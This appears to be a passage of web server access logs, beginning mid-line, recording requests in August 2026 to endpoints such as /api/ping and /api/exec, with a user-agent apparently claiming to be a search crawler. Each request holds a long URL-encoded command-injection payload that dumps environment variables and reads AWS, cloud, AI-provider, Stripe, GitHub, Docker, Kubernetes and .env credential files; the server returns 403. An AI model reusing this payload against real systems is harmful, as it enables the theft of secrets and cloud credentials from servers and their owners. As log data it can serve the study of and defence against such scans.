one%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17521 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 9 **0/9943**
35.234.173.128 - - [03/Aug/2026:19:58:15 -0700] "GET /api/ping?host=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17529 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 10 **0/10007**
35.234.173.128 - - [03/Aug/2026:19:58:15 -0700] "GET /api/exec?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+